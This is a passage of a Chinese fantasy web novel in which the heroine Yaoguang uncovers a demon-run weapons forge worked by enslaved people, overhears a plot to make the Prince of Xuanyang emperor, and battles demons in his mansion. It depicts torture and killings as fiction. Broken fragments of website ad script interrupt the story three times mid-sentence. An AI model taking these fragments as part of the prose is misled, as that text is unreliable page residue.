“嘻嘻,给你罢。晨间练了俩时辰的琴,手还累着呢。”说罢,少女将手中的风车塞到吴念春怀中,朝炊事娘点了一下头,便拉着吴念春到一树旁坐下。 在凉凉的树荫下,吴念春与少女肩并着肩的靠着树坐着,吹着风车,听着少女悦耳的声音缓缓道来。 “我跟你说哦,我刚刚在庙里看到我姐姐跟一公子......” 17. 一入王府深似海(二) 密林深处的树木可遮天蔽日,让这炎热的午下清凉了些许。点点日光穿过层层叠叠的枝叶洒落下来,斑驳的光影落在树下绿油油的草丛,草尖上的露珠晶莹剔透。 可行人匆匆而过,他们的脚步踏碎了青草,将露珠散落一地,打破了这一片宁静。 “大人,那处的困住的奴隶们试图反抗逃走,发生暴乱了。”刚刚在莲馆报信的妖兵继续在秦威身旁汇报着。 秦威那个愁的呀,他这才来几天,好不容易接了蝶隐的活,结果不到一两天就出了乱子。若坏了左使大业,他不被左使罚得片体鳞伤也得少层虎皮。 “这么点凡人你都看不住,你这几十年修为都白修了吗?!” 秦威发怒时如猛虎嘶吼,那妖兵被这虎威压得快喘不过气,战战兢兢道:“不是啊,大人!是有人趁我们不备把牢门开了!” “这荒郊野岭的除了咱们有谁会知道......”还没说完,秦威眼中闪过一丝警惕,这是里应外合,有内鬼。 像是老虎的本能般,处于高度警戒状态的秦威敏锐地感觉到身后有一道目光在盯着他。他停下脚步,转身朝不远处可以提供掩护的草丛看去,眯起双眼,招手唤妖兵们前去查探。 妖兵们听令过去那草丛处,绕着那找了半天,硬是没有发现任何不妥。秦威只好作罢,扫了周围一眼,心事沉沉地继续往前赶去。 在他们走远后,那处草丛旁的参天大树上,随着日光的照射,一位容颜娇美的少女渐渐显露出身形, 少女趁秦威他们不留意,继续紧跟随后,穿梭在一棵棵树间,鹅黄色的身影如闪电般在林中闪烁。 密林最深处一处峭壁之下,竟有一山谷。 朔风阵阵,从山谷间吹来。山谷外有数名尸体凌乱地躺在地上,谷内还传来阵阵凄厉的惨叫声,夹杂着焦臭的浓烟及让人作呕的血腥味。 只见一人欲想从谷内逃出,远远地还以为是看到了救兵,欣喜若狂地朝秦威一行人跑去。可待他看到秦威的面容后,因过度惊恐而瞳孔收缩,一时脚软,竟瘫软在地。 秦威愈走近山谷,眉头就愈发紧凑,他看都不看那人一眼,疾步往深处走去。 在那人绝望的求饶声中,秦威身后跟随的妖兵手起刀落,将他砍的身首异处,死不瞑目。 见秦威一行人已深入山谷,紧跟随后的瑶光转身跃下,轻手轻脚地一起跟着往山谷内走去。待她路过那人尸体时,她蹲下微微调整一下尸体的衣襟,双指分开在尸体眼前往下轻轻一滑。 看着尸体死得并不安详的面容,她嘴唇紧抿,起身继续跟上。 越往深处走,亮光摇曳如血般鲜红。瑶光靠在一巨石后,慢慢地看清了整个山谷的内部结构。谷内四边凹陷处皆有粗壮的木桩围住,似是用作牢狱之用。中间有数座七倒八歪的储水桶和大熔炉,旁边皆有散落在地铁器银器,似是一兵器锻造地。 此时,谷内处处燃起熊熊烈火,凡人四散而逃,妖兵紧追不舍。四周充斥着呐喊声,惨叫声和痛斥声在谷内声声环绕,仿佛人间炼狱。 看着妖兵们这才好不容易将局面摆平,秦威不耐烦地抓住一个妖兵问道:“兵器有损坏吗?!” 妖兵手持长鞭,脸上布满灰,看到是秦威喊住他,哆哆嗦嗦道:“大人,你回来啦。兵器无事,倒是熔炉坏了几个,而且剩下的兵器材料都被那些奴隶融进炉里了。” “废物!”秦威勃然大怒,一把将妖兵甩到墙上,妖兵直接昏死过去。 这熔炉坏了,材料没了,他该怎么向左使交代! 秦威愈想愈不安,他必须要尽快找出罪魁祸首把他抓去给左使一个交代。只见秦威眯起双眼看向在中间密密麻麻的人群,唤过身边一妖兵向其交待几声。 妖兵收到命令,点头应是,转身朝人群喊道:“都给我站好了!” “一,二,三,四......”数数声在山谷中回荡。 “......四十七,四十八。” 数完后,妖兵恭敬地朝秦威说道:“报告大人,加上尸体,一共七十八个奴隶。” “七十八个?”奴隶数是对了,难道是妖兵们出了问题?背叛了自己?但他的妖兵们不可能背叛自己。他们与他生死与共多年,怎会因为这么些凡人背叛自己? 秦威目光狠戾,一把抓住一个人的衣襟,怒气冲冲地问道:“那个跟你们里应外合的人在哪?!” 那人咬牙坚持:“我.....我不知道。” “不知道?”秦威嘴角勾起一丝冷笑,拖着那人到一熔炉旁,看着他,阴森可怖的声音缓缓响起:“那你现在知不知道?” 秦威说着,在那人惊恐万分的目光注视下,一手抓住他的头,将他的脸紧贴着炙热的熔炉容器,让他的肌肤与炉壁亲密贴合。。那人不断地挣扎,却被秦威死死按住。嗞嗞的烧焦声不断响起,烧焦味慢慢传开,整个山谷都响彻着他痛不欲生的惨叫声。 “啊!!!!!我不知道啊啊啊!!” 人群中,一个老者颤颤巍巍地站了出来。他眼中含泪,身上血迹斑斑,向秦威高声呼喊:“放开他!”” “噢?怎么,你也想替他感受一下这熔炉烤肉的感觉吗?”秦威轻蔑地看了老人一眼,放开了手。 男子剧烈地颤抖着,汗水淋漓,像是溺水后被救上岸一般瘫倒在地上。他拼命地大口呼吸,又因为脸上那钻心的疼痛,声嘶力竭地低喊着。 看着男子血肉模糊的侧脸,老者心痛不已,怒叱道:“秦威!你不得好死!” “我不得好死?”秦威笑了一声,冷声道:“是我不得好死,还是你们宣阳王不得好死呢?这买卖批准文书和兵器锻造场可都是他的主意。” 老者哭喊道:“文书要求要交出八成的利润,还要每月交续金。这让我们怎么活!” 秦威冷哼道:“活不了就别活了。” 凡人就是太多条条规规了,想要苦力,想要钱财,却要搞什么文书遮遮掩掩,假装正儿八经地判他们罪让他们进行‘劳改’。秦威想起那宣阳王道貌岸然,高高在上的模样,觉得真是可笑至极。 秦威的话,一次又一次地刺激着老者的神经,他像是受不了这种折磨,猛地跪下,声音不停的颤抖,“秦威!大人!你放我们出去罢!” 闻言,秦威笑道:“天真。你们可是知道了这兵器锻造场的事,怎么能让你们活着离开呢?” 就在这时,一妖兵突觉尿急,悄悄走到储水桶一旁的角落。 原本趴在地上的男子,视线模糊地看到那妖兵的动作,猛地抓住秦威的脚,大声喊道:“公子,快走啊!!!!” 同时,其余蹲坐的人也一跃而起,猛地扑向身边的妖兵们。妖兵们一时之间还未反应过来,不是被人扑到在地就是被紧紧栓住,动弹不得。 慌乱间,一人从储水木桶那一处跃出。他用力推开渐渐靠近的妖兵,向着山谷外跑去,恰巧看到了躲藏起来偷看的瑶光。 瑶光眼中闪过一丝惊讶,他正是她入城时遇见的那个男子。 男子见到瑶光,似乎也吃了一惊。 耳边传来越来越近的脚步声,男子眉头紧皱,情势紧急,他抓起瑶光的手,决然冲向谷外。 见人已跑远,秦威想要追赶,但发现自己的脚被栓得死死的。他瞬间怒火中烧,气沉脚底用力一甩,将男子甩至数丈外的石壁上,男子如脱线木偶般落在地上,了无生气。 秦威怒吼道:“你们找死!” 一名好不容易挣脱出来的妖兵连忙扒住秦威,不让他因怒气失了心智,急忙喊道:“大人!他们都死了就没人继续锻造武器了!若左使大人怪罪下来怎么办!” 像是冷静下来了,秦威拉开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身旁的妖兵,阴冷地说:“追,追到天涯海角也要把他给我抓回来!” 待冲出山谷,瑶光这才发现外面已是傍午,夜色将近。 他们匆匆地穿过一座又一座小林,身后的妖兵紧追不舍。待来到一巨石处,男子手往巨石某处按下,那巨石竟会自己移开,露出里面的一条深不见底的暗道。 随着男子一起进入暗道,漆黑一片的暗道让瑶光隐隐约约地感受到了点点窒息感,使她下意识握紧了男子的手。 俩人什么都看不见,只懂得要往前走,一路上磕磕碰碰。 瑶光觉得这不是办法,她连忙将被男子牵住的手松开,往怀中袋一伸。只见她手中取出一团会发光的物体,待她手展开,那团光便化成一个个小小的光点,飞散在空中,整个暗道都变得亮堂起来了。 正所谓夏夜流萤,人间星河。瑶光满意地看着眼前纷飞的萤火虫们,可转头便看到在荧光的照耀下,一旁的男子看着她,神色古怪,一言不发。 还是瑶光忍不住先出口,问道:“刚刚那处是不是宣阳王私自制造兵器的地方?” “是。”一道清亮的声音传来,男子垂眸抿嘴,继续说道:“这件事姑娘你还是不要知道为妙,免得惹祸上身。” 男子正欲拉瑶光继续离开,瑶光却站住脚,愣是一动不动地看着他,目光炯炯地说道:“宣阳王私制兵器乃灭族之罪,而且他还视人命如草芥,与妖魔同流合污危害宣阳城。比起惹祸上身,我更要救他们于水火之中。” “我也想救他们!但你也看到了,我试过了。”男子想起刚刚因自己害死一个人,懊悔不已,手中拳头紧握,下唇几乎要被他咬出血。 听身后追兵步步逼近,瑶光扯过男子手臂,正色道:“罢了,我们先逃出去再说,咱们从长计议。” 男子喉咙发干地回道:“好。” 他们越往里走,这暗道就似乎越宽阔,竟还出现了一分岔口。俩人站在分岔口处,正欲决定往哪一条路走时,身后有浓烟瞬间袭来,将二人围得伸手不见五指,看不见对方。 瑶光用衣袖捂住口鼻,试图找到男子,但浓烟阻挡了一切视线。 突然,一把妖刀从面前劈来,瑶光慌忙侧身闪躲。接着,又一把妖刀从她身侧闪出,朝她砍去,她再次躲过。 瑶光心中苦恼,有浓烟在根本无法判断男子的方位,若她用法力回击,难免会不小心误伤男子。故她计上心头,大声朝四周喊道:“我在这!!!来抓我啊!!!”说罢,她翻身朝一岔道走去,边走着还边喊着,生怕别人不知道她往哪儿走。 渐渐跑着,瑶光发觉身后浓烟越来越淡,最后消失不见了。她停下脚步,嘴角上扬,打算就在这等着迎面而来的妖兵妖将们。 妖兵们追上时,发现瑶光悠然自得地站在暗道中央,似是在等着他们。她双眼微闭,右手立于胸前,其中仅食指竖直且被中指环绕,口中念念有词。在众妖兵惊恐的眼神下,一道金光从她指尖逸散而出,以迅雷不及掩耳之势朝他们击去。 那金光化作暴风,一时间暗道内飞沙走石,铺天盖地。暴风将所有妖怪们连根卷到空中,风如刀刃般刮在他们身上,传出一阵阵凄惨的尖叫声。不一会儿,地上铺满了衣衫残破,伤痕累累,早已晕死过去的妖兵妖将。 确认没有追兵后,瑶光匆匆原路返回,试图找到男子。但当她回到岔道时,却发现男子不见了。 难道被抓走了? 心急如焚,她毅然决定返回另一条暗道,寻找男子。 又走了好一段路,瑶光在萤火虫的照耀下,发现面前似乎是一道石墙。 她回忆着男子打开暗道时的情景,在石墙上摸索。渐渐地,她触摸到了一处凸起,猛地按下。 突然,面前的石墙竟如暗道入口那巨石般自行移动,给漆黑的暗道照进一束温柔的月光。 18. 一入王府深似海(三) 宣阳王府的后院,处处皆是雕梁画栋,珍奇异草点缀其间,一旁还有奇石环绕的小池。 两位侍女缓步而行,其中一位腰间系着一根红绳,俏皮可爱,但与戴绿珠头饰的另一位相比,略显逊色。只听她说:“绿梨姐姐,这才饭后不到一时辰,世子怎么又叫了一碗羹汤?拿着我手累。” “你少说点。”绿梨冷淡地回应。 那侍女像是没留意到绿梨的冷淡,自顾自地继续说道:“也不是我说,这世子近年来食欲大增,脾性也是,现在都爱随便发火责罚,之前温文有礼的世子都不知道哪儿去了?像是换了个人似的。” “叫你少说点了,你还说。世子之事,怎能轮到你议论,小心隔墙有耳。”绿梨望着呱噪不止的侍女,皱起了眉。 “我......” 还未等那侍女说完,她没看着路摔了一跤,手中的食案随她一起径直摔在地上。咣当一声,原本装着美味佳肴的汤盅被摔个粉碎,吓得侍女哽咽不止。 绿梨连忙扶起她,担心地问:“红榴,伤着哪了?!” “没有,”红榴看着地上的碎片,委屈道:“绿梨姐姐,怎么办?” 绿梨皱眉道:“还能怎么办,世子现在就要吃。我在这收拾,你快去膳房取新的汤羹罢,还来得及。” “好!”说罢,红榴便提起裙快步离去,生怕慢了一秒就要被世子责罚。 绿梨在原地悄悄地拾起碎渣,用手绢包裹,然后将其藏于一草间的隐秘处。若被发现了,她们肯定少不了一顿责罚。 不久,有人回来了,她仔细一看,发现这并不是刚刚和她一起的红榴。 “你是谁?红榴呢?” 只见那侍女环视一周,看了一眼那不远处树上一个个黄点,手扶食案,微微蹲身,朝绿梨轻声说道:“绿梨姐姐好,我是杏桃。红榴姐姐到膳房时好像有些不适昏昏欲睡,我扶着她卧在膳房旁的小间休息,替她来送汤羹了。” 虽说是穿着同一套侍女衣衫,但这杏桃唇红齿白,灵气逼人,一点儿都不像是做侍女的料。绿梨看着眼前这陌生的面孔,疑惑道:“我在这王府做了这么多年,怎么没见过你?” 杏桃不慌不忙地回道:“我是近日随秦威大人才入的王府,一直在膳房那边随些嬷嬷学习,还未敢侍候世子。绿梨姐姐是世子面前的红人,未见过我也是正常。” 绿梨盯着杏桃,想起近日那秦威来了之后府里确实是突然多出的不少人,这杏桃怕也是当时一起进来的罢。于是,她松口道:“那好吧,咱们赶紧将汤拿去,别让世子等久了。” 像是想起了什么,绿梨又说:“待会紧跟着我。” 杏桃虽然不明所以,但还是乖巧地点头答应:“好的,绿梨姐姐。” 渐渐地,杏桃随着绿梨走到一处院落前,她好奇地从院门口处往里看去,却看到一群黑压压的魔物在里面。 魔物们有着像人一样的四肢头颅,可亦有如雄鹰一般的翅膀,血盆大口一般的嘴露出獠牙,头生犄角,五官崎岖,面目狰狞。不只是相貌不同,比起凡人他们体型庞大,约莫一丈高半丈宽。一个个手持透黑大刀,身穿乌黑的盔甲,盔甲下的身躯被像是黑色火焰一样的皮肤包裹住,几乎要与盔甲融为一体。他们有些在走道旁站着,有些在屋檐处坐着,虽然姿势都极其随意,但个个目露凶光,像是蠢蠢欲动的捕食者充满了压迫力。 越往里走,杏桃便越感觉那些魔物一直在盯着她。她心里害怕极了,左顾右盼,紧跟着绿梨。 “到了。” 绿梨在一屋前停下脚步。杏桃因过于慌张,没留神撞到了她的背,稍微磕碰了些许,幸好汤没撒。 绿梨看着杏桃那如惊弓之鸟不成器的模样,担心她在世子面前惹事祸及她,便叹气道:“把汤给我,你在先回去罢。” 像是听到了天大的喜讯一般,杏桃轻轻呼一口气,眉开眼笑,连忙将食案递给绿梨,“谢谢绿梨姐姐。” “嗯。”绿梨接过食案。 待看到杏桃头也不回地离开身影消失在院门后,绿梨深吸口气,推开屋门,朝屋里走去。 “世子,汤羹来了。” 屋内空无一人,绿梨不确定地又喊了一声:“世子?” 不一会儿,一身身穿鸦青色蒲纹胡绸直裰的宿无从屏风处缓缓走出,眼尾瞟向绿梨,神情极为不耐。 他道:“放下便走罢。” 绿梨看向那屏风下的缝隙,垂下眼眸,俯身作揖:“是,世子。”说罢,她一直俯着身后退,直到将屋门关上。 “大人,这汤羹可真香啊。” 闻着香气,秦威从屏风后走到桌旁,拿起一旁的碗勺,正欲舀汤,“还是大人懂属下,知属下饥饿,准备好了吃食。” “放下。” 宿无背过身,微侧头,淡淡地说着,话语间却透着一股不容置疑的威严,“蝶隐也差不多办完事该回来了罢?” 秦威这才意识到这碗汤羹原来不是给他的,顿时尴尬。他连忙放下汤勺,点头哈腰道:“是的,大人。蝶隐副使一直办事干净利落,应该很快就会回来。” 就在秦威话毕时,一只银色的蝴蝶翩翩起舞,缓缓飞入屋内,化作一团银雾。 银雾中,一少女缓缓走出。少女纱衣透而艳却毫不媚俗,搭上她小巧玲珑的身姿,显得清新脱俗。若不是少女额间的魔印若隐若现,以及眼角处深可见骨的恐怖伤疤,必会将其误以为堕入凡尘的仙女。 秦威一向视蝶隐为眼中钉,趁机调侃道:“仅用两日,蝶隐副使便能事成而返,怪不得能让左使大人如此重视,连吃食都准备好了。” 蝶隐没有理会,掠过秦威径直朝宿无面前走去,柔声道:“大人,事情都办好了。” 看着蝶隐乖顺的模样,宿无满意地点了点头,“有你去办,本使从未担心过。“接着,他将蝶隐轻轻扶至桌边椅上,吩咐道:“一路奔波怕是没有好好吃,本使记得你以前尤其喜爱此汤,便好好享用罢。” 闻着扑面而来的香气,蝶隐受宠若惊,看向宿无的目光温柔似水,眼里含丝,轻声道:“蝶隐谢过大人。” 看着面前俩人你侬我侬的模样,秦威只恨他不是女人,无法像蝶隐一般使用美人计。 但他又仔细一想,蝶隐脸上那丑陋的疤痕又怎么算得上是美人呢?应当是左使常年无美人在旁,所以才对那丑女青睐有加罢。若是他给左使安排了一个真正的美人,讨得左使的欢喜,说不定今天之事,左使会从宽发落,甚至可以顺势顶替副使的职位。 想到这,秦威不禁笑逐颜开,惹得宿无侧目。 宿无冷冷地说:“你还笑得出来?看来你对你今日的失职,并无悔意。” 轻轻的一句话带着冰冷沉重的压迫感,使得秦威条件反射般的立马单膝跪下,战战兢兢道:“大,大人,今日失职实属是属下管理不当才让外人钻了空子。” “秦威,当初你请求我将兵器锻造场交给你管理,我是看中了你在右使手下多年的经验才委以此重任的。可如今,看来你连这点事都办不好。”说着,宿无渐渐走近秦威,眼神狠戾,猛地一脚踹向秦威。 措不及防的秦威被这一脚吓得下意识连连后退,竟撞在那屏风上,将屏风撞到。 屏风一倒,蝶隐惊愕,她这才发现,那屏风后竟还有一人。只见他手脚被捆绑得严严实实,口被麻布紧紧塞住,无法动弹言语,怪不得她一直都没有发现。 定睛一看,那男子虽灰头土脸的,但看得出眉清目秀,俊朗非凡的模样,即便被束缚,仍然挺拔如山间翠竹。蝶隐不禁沉思,像书生一般如此羸弱之人,到底是犯了什么事会让左使如此头疼,要亲自审问。 “你敢躲开?”宿无的冰冷声音传入秦威耳中,他不禁战栗了一下,急忙跪伏在地。 “大人息怒!属下只是下意识、下意识反应。”说着,秦威挺直了腰,拍了拍胸膛,“大人你再踹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,我绝不躲。” 只听宿无冷哼一声,转身坐下,用手撑着脸颊,目光落在静静喝着汤的蝶隐身上,刚刚因秦威激起的怒气渐渐散去。他问蝶隐道:“蝶隐,那和田玉可给宣阳王了?” 蝶隐垂下眼帘,将汤勺放下,缓缓回答:“是的,大人。” 为了找一玉块就派副使亲自去取?虽说这和田玉是稀世宝玉,但堂堂一魔族左使与副使为一人间王爷劳心劳力,寻东找西,秦威实在不解这是为何。 于是,秦威问道:“大人,属下不解。大人你这忙前忙后数年,为那宣阳王找那稀世罕见的和田玉是为什么呢?” 对于秦威如此直接的询问,宿无也不恼,只是轻蔑道:“谁说是为了他,那是为了咱们妖魔二族的复兴大业,本使只是要助他夺得皇位罢了。就连兵器锻造场,也是为咱们魔族备战而设,与宣阳王又有何干?” 听到这番话,秦威大感震惊。他本来只是以为这兵器锻造场只是因为私制才会要如此隐秘,没想到还有更大的阴谋。 接着,他又问道:“人间的皇权夺舍与我们妖魔二族有何干呢?要让大人如此费尽心思,帮那昏庸无能的宣阳王当皇帝。” 宿无正色道:“经过数百年前的一役,本使明白了一个道理——妖魔是不能与神仙硬碰硬的。咱们二族天生被神族与仙族所克制,况且只要他们有万物神在,她一招万物生便能将妖魔鬼三族打得魂飞魄散。” 之前被万物生击中的痛感,宿无记忆尤新。他瞬间感觉心脏处疼痛不止,脸色狰狞,不禁抓向胸口,狭长的眼底尽是阴郁之色。 蝶隐注意到宿无的异样,皱起细眉,紧张地连忙放下汤勺凑过去,用手抚在宿无胸前的手上。只见她长长的睫毛一颤一颤地,薄唇微抿,一脸忧心忡忡的模样惹人怜惜。 “但如果咱们打破了这个妖魔与神仙对峙的平衡,让天平向我们倾斜,我们就能占尽先机。”像是缓和了过来,宿无朝蝶隐摆了摆手,示意他已无事后,又说道:“自盘古开天以来,神仙二族便有一天规——凡是有神与仙之职的都不可伤害凡人,反则会遭受天罚。天罚可对神仙二族造成涤骨之痛,其痛轻则能让他们短暂失去攻击能力,重则能让他们生不如死,神力与仙骨尽毁。若是能让人族大军作为咱们的盾,到时神族与仙族又怎敢对咱们反击?” “幸好有蝶隐给本使找的这一身好躯体。”宿无捉过蝶隐的手握紧,满脸柔情道:“当本使有意识后,正巧可以借此身躯名正言顺地与宣阳王合作,助魔族统一大业。” 秦威迟疑道:“但这人间不已有一真命天子坐镇了吗?大人为何不直接与皇帝合作......” “如今人间皇帝是绝不会与我们妖魔二族为谋的,助宣阳王强夺皇位是那唯一的办法。况且那宣阳王现在唯本使是从,日后也好掌控。不然你以为本使会花那么多心思为他做这么多事?”想起皇帝身边那位护短的国师,宿无目光森冷异常。 相比之下,他可不觉得那国师会让皇帝听命于妖魔,置皇帝与人族于危险之中。 “左使真是高明啊!”秦威不禁赞叹道宿无的多谋善虑。有如此有能力的左使在,复兴妖魔二族之日指日可待。 见秦威慷慨激昂的神情,宿无问道:“怎么?六重紫没与你说过这些么?” 听到这,秦威脑海中缓缓浮现出那紫衣的骚气身影。他回道:“右使从未提及。” 宿无嗤笑数声:“也是,六重紫那家伙极其痛恨凡人,才不屑于与凡人为伍。他本就不同意本左使的计谋,自然不会告诉你这一切。” 忽然,屋外传来树枝被压断声,声音虽细小,但还是被蝶隐捕捉到了。同时,宿无也像是察觉到了什么,顿时眼神阴鸷,随着蝶隐的目光朝窗台望去。 屋内人皆看向窗外,而那窗台外一旁一盲角阴影处隐约露出一曼妙的少女身影,正是刚刚离开院子的杏桃。 ——又或者说,是身穿侍女服的瑶光。 19. 一入王府深似海(四) 宿无悄无声息地朝蝶隐递了一个眼色,衣袖下纤纤指尖轻点,一抹几乎不可察觉的银光悄然飞出。 此时,瑶光正全神贯注地偷听屋内谈话,丝毫没有注意到一只银蝶正向她靠近。那银蝶绕着她翩跹飞舞,犹如一缕幽魂,在夜色中若隐若现。所过之处,皆有细微的粉末落下。 “唰”地一声,银蝶被一片叶子钉在墙上。 瑶光猛然回头,只见不远处一高耸屋檐上红衣飘扬,司幕正负手而立,宛如一尊高高在上的谪仙。清冷的月光勾勒出他完美的身姿,为他平添了几分不食人间烟火的冷漠。 突然,一声声震耳欲聋的咆哮声划破了夜空,紧接着,无数青面獠牙的魔兵从四面八方朝瑶光扑来。它们面目狰狞,双眼泛着嗜血的光芒,锋利的爪牙闪烁着寒光,令人不寒而栗。 面对突如其来的袭击,瑶光处变不惊,手中诛恶剑出鞘,寒光闪烁。她身法轻盈如燕,翻身借力一跃而起,出手疾如闪电,干净利落,剑如游龙紧咬魔物的颈喉。剑气一出,五丈内无人能挡。 一眨眼的功夫,原本来势汹汹,首当其冲的魔兵们纷纷倒毙于血泊中,其余则被震得步步后退。 屋内,宿无透过窗台,将外面瑶光与秦威的厮杀看得一清二楚。见到瑶光以一敌百,毫不费力,嘴角不由自主地扬起,心中对她的渴望更加强烈。 秦威一眼便看出瑶光是在三生城与青稚一伙的少女,没想到他们竟能追他到宣阳城来了。他侧头看向宿无,察觉到他看向瑶光的眼神,为了讨好宿无,也是为了报仇雪恨,他主动请缨道:“大人,属下这就去将那贼人拿下,献给大人!” 话音刚落,秦威便身形一纵,破窗而出,如猛虎下山一般扑向瑶光。 蝶隐见状,正要跟上去,却被宿无拉住了衣袖。只听宿无柔声道:“磷粉已下,她撑不了多久了。你一路奔波刚回来,还是先休息,让秦威去罢。” “是,大人。”蝶隐垂眉顺目,应道。 破窗声起,凛冽的拳风,直袭瑶光后背,瑶光轻巧一躲,以剑为圆心借力绕圈而起,一脚踹向来者后背。 随着一身沉闷的撞击,不善于防御的秦威后背愣生生被挨了一脚,整个人直接踉跄着朝前翻滚了起来。 见秦威如此狼狈不堪,瑶光心里乐了:就他还敢欺负姽婳姑娘她们? 似是听到瑶光的嗤笑,秦威怒从心中来,从地上跃起,再次凝聚妖力,一拳轰向瑶光。 瑶光正欲故技重施,躲避秦威的攻击,却突然感到浑身乏力,头晕目眩,几乎连剑都握不稳了。她堪堪躲过秦威的拳头,靠在柱子上喘息不止,掌心按着额间试图让自己清醒一些。 不等有她分毫的喘息时间,刚刚还节节败退的魔兵们如潮水般涌上来,将她团团围住。 他们要趁她病,要她命。 瑶光仿佛花光了所有力气,只能虚握手中剑,仓惶地挡过迎面而来的的一刀又一刀,一拳又一拳。 想起司幕还在,瑶光想让司幕不要管她,直接将那男子救走抛下她撤退。可当她望向屋檐时,却发现那里已经空无一人,心头瞬间落空,不是滋味。 秦威又是一拳袭来,瑶光几乎用尽了最后的力气,举剑抵挡,却被他绕开。 就在拳头几乎命中瑶光脑门前时,一身影如魅影般从她身边掠过。他似踩着清风明月而来,左手持剑,以剑为盾,替她挡下这一招。秦威被剑气震得连连后退,警惕万分地盯着面前这不速之客。 这不速之客虽身着普通侍卫服,脸覆黑巾,却难掩其气宇轩昂。一双冷傲至极的黑眸流转着捉摸不透的幽光,如深海里的蛟龙般神秘又致命。 他身形如电,剑气纵横,挥洒间有开天辟地之势。一把普通的侍卫剑在他手中,也能化作夺命利刃,煞气逼人。那一步一移,一挥一挑,熟悉地步伐与挥剑姿势,让瑶光不禁愕然:他怎么会使出与不周山一派的剑术? 愣神之际,瑶光忽觉一股寒气入体。她向身边旁看去,那名侍卫正立于她左侧,一手持剑剑指前方,一手附在她身后助她驱毒。 四目相对,他眼含笑意,眼底更是有隐藏不住的琉璃萤光。 瑶光看着那双熟悉的眼眸,心中悸动,只听司幕清冷的声音在她耳边响起:“瑶光姑娘,久等了。” 寒气消散,瑶光体内无力感也随之消失。她知道,这是司幕公子的疗术。 又是一刀劈来,司幕抬手将瑶光推至一旁,手起剑落,那魔物便被一分为二。若非他身着黑袍,他的衣衫此刻恐怕早已被鲜血染红。 余光中,司幕身后银光一闪,瑶光飞身而至,一剑挑出,那魔兵胸口顿时被划出一道深可见骨的血痕。两人一左一右,配合默契,竟杀出一条血路。 见逃脱有望,瑶光欣喜若狂,连忙说道:“司......你去救屋内那男子,我去引开他们。” “那瑶光姑娘你呢?” 司幕眉头微蹙,似有不悦。他正欲拉过瑶光带她离开,却见她目光坚定,双脚如磐石般纹丝不动。 “那位公子知晓魔族和宣阳王的秘密,在他们手中必死无疑,我们要救他。” 司幕再次拉过瑶光,她仍旧立在原地。看到她如此坚持,司幕垂下眼眸,沉声道:“那让我去引开他们。” “不可。” 瑶光透过窗台,看向屋内正看戏看得兴起的宿无,倔强地说道:“你的身份不能暴露,况且你看不出他们是对我有兴趣吗?” 司幕眼色阴鸷地看向宿无得意洋洋的模样,手中青筋暴起,果然昨日就该将他杀了。 似乎感受到了司幕的杀意,宿无直视回去,还以一个微笑。 瑶光回望,他仓惶地侧过头,眼眸中带着一丝慌乱,叹息一声道:“好,我将他安置好就来找你。” “谢谢!” 得到肯定的答复后,瑶光感激地拍了司幕肩膀。为了掩护司幕救人,瑶光晃动一下恢复力气的四肢后,剑指前方,眼神凌厉。 刹那间,剑光如龙,破空而出,带着无可匹敌的威势,将一众魔将砍至重伤,逼退数丈。 正在屋内观战的宿无突然感觉脖子上一凉,不用看也知道是谁,眼中闪过一丝惊色。 一旁的蝶隐大惊失色,她竟丝毫没有察觉到有人靠近。怎么回事?!她的蝴蝶们怎么没有给自己关于他的视角? 见蝶隐衣袖下的手蠢蠢欲动,司幕心情不佳,冷声道:“我答应了她要救人,你们最好给我乖乖听话。” 说罢,一滴滴血珠顺着司幕的剑,从剑身滑落到剑锋,滴落在地面上。 宿无因凡躯的痛觉,眉头紧锁。见状,蝶隐着急地喊道:“左使大人!” “走!”司幕冷喝一声,随意挥剑劈向屏风,男子身上的捆绑尽数松开。他一手提起那男子的肩,一脚踢开屋门,健步如飞,如蜻蜓点水般穿越在各个屋檐。 见司幕带着男子走远,瑶光心头大石总算落地。她深吸一口气,将神力灌注于手中剑,剑身顿时光芒四射,锋芒毕露。她挥剑而出,剑气如同匹练,将敌人震得晕头转向。 待他们清醒过来,瑶光已不见人影。 夜深人静,在色如水,一个娇俏曼妙的身影飞掠在高耸的屋檐上。她身后不仅有一个个小小的银光在她身后若隐若现,而且还有妖魔鬼怪们在屋檐下紧追不舍,如同跗骨之蛆,难以摆脱。 瑶光心中焦急,她知道身后一直有东西紧跟着她,给秦威他们提供视野,但她怎么也杀不尽,甩不开。 慢慢地,被疗愈的毒似是又要复发,她浑身又开始发软,渐渐力不从心,一个踉跄,几欲掉下屋檐。不巧,她的小腿被突起的瓦片划出一道长长的口子,鲜血于伤口处流出,每走过之地都会个鲜红的血迹。 好不容易看到了一座灯火通明的院落,早已坚持不住的她强忍着剧痛,翻墙而入,隐匿在黑暗之中。 与此同时,因有蝶隐的能力相助,宿无也追踪到了瑶光逃脱的路线。 忽然, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 王府屋檐上停满了乌鸦,月光的照耀下,鸦羽呈现出五彩斑斓的黑。它们的眼中闪烁着嗜血的光芒,死死地盯着宿无一行人。 秦威看着这一幕,似曾相识。 同时,在前探路的蝴蝶们突然了无声息,一股不详的预感涌上蝶隐心头。她抬头望向屋檐上的乌鸦,手中快速结印,数十只蝴蝶振翅飞向屋檐。乌鸦们敏捷地将蝴蝶群围住,毫不留情地一一啄食。 “不好!大人,对方有与蝶隐同能力的人!”蝶隐惊呼道,声音中带着一丝慌乱。 宿无看着灯火通明的院落近在眼前,沉声说道:“无碍,蝶隐,你随秦威去抓出控制鸦群的人罢。” “是,大人!”蝶隐和秦威同时应道。蝶隐身形一转,化作一只银蝶,飞向屋檐。秦威则低吼一声,化身成一只猛虎,跃上屋顶,扑向鸦群。 宿无领着一众魔将,骑着狰狞的魔兽,气势汹汹地来到灯火通明的院落前。院内花木扶疏,曲径通幽,却丝毫掩盖不住来者不善的气息。 然而,还未等他们靠近寝居,便见一嬷嬷领着一众宫女侍卫挡在前,犹如一道铜墙铁壁,阻拦他们前进的脚步。嬷嬷面容冷峻,眼神锐利,语气中带着不容置疑的威严:“王妃已经睡下,世子若要探望,还是明日请早吧!” 宿无翻身落地,长靴在地面上发出沉重的撞击声,他的面容冷峻,眼中闪烁着寒光。他冷哼一声,说道:“有刺客入府,为了额娘的安全,本世子要进去抓拿刺客。” 